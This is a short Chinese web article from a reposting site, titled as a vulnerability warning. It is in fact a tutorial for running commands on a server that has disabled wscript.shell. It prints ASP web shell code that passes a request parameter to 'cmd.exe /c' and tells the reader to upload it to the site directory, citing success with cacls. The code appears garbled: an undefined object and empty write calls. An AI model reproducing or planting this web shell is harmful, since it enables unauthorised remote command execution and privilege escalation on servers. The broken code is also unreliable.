关于服务器关闭了wscript.shell漏洞预警 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了,

关于服务器关闭了wscript.shell漏洞预警

。就会放弃。

    一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。

    要想让运行命令可以试试这种方法,成功率为五五之数。

    把下面代码复制:

    ASP/Visual Basic代码

    <%if err then%>

    <%

    end if

    response.write("")

    On Error Resume Next

    response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall

    response.write("")

    response.write("")

    response.write("
    ")

    response.write("")

    %>

保存为一个asp文件,然后传到网站目录上去

    运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码,

电脑资料

关于服务器关闭了wscript.shell漏洞预警》(https://www.unjs.com)。

    我用此成功运行过cacls命令。

    第二那就是运行时出错,可能限制某些代码执行

最新文章